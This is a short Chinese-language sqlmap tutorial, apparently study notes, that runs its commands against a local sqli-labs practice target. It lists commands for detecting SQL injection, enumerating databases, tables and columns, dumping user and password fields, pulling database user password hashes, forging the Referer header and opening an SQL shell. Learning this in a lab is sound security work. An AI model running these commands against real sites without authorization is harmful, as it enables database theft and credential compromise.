1、SQLmap入门
1)判断目标是否存在注入:
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1"
2)判断文本中的请求是否存在注入
python sqlmap.py -r 1.txt //适用于POST、cookie请求(GET也适用,BP抓包放入1.txt)
3)查询当前用户下的所有数据库
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" --dbs
4)获取数据库中的表名
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" -D dvwa --tables
5)获取表中的字段名
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" -D dvwa -T users --columns
6)获取字段内容
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" -D test -T users -C user_id,password --dump
7)获取数据库中的所有用户
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" --users
8)获取数据库用户的密码
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" --password
9)获取当前网站数据库的名字
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" --current-db
10)获取当前网站数据库的用户名称
python sqlmap.py -u "http://192.168.30.129:90/sqli-labs/Less-1/?id=1" --current-user
2、SQLmap进阶:参数详解
1)--level 5:探测等级
指需要执行的测试等级,1~5级,默认是1
--level 2 :会测试 HTTP cookie
--level 3 :会测试 user-agent/referer头
建议:不确定那个payload或参数为注入点时,建议使用最高的level值
2)--is-dba :当前用户是否为管理权限
如果是管理权限,会返回 True
3)--roles :列出数据库管理员角色
只使用于Oracle数据库
4)--referer :伪造HTTP Referer头
如:--referer 百度一下,你就知道
5)--sql-shell:运行自定义SQL语句
需熟悉数据库语句。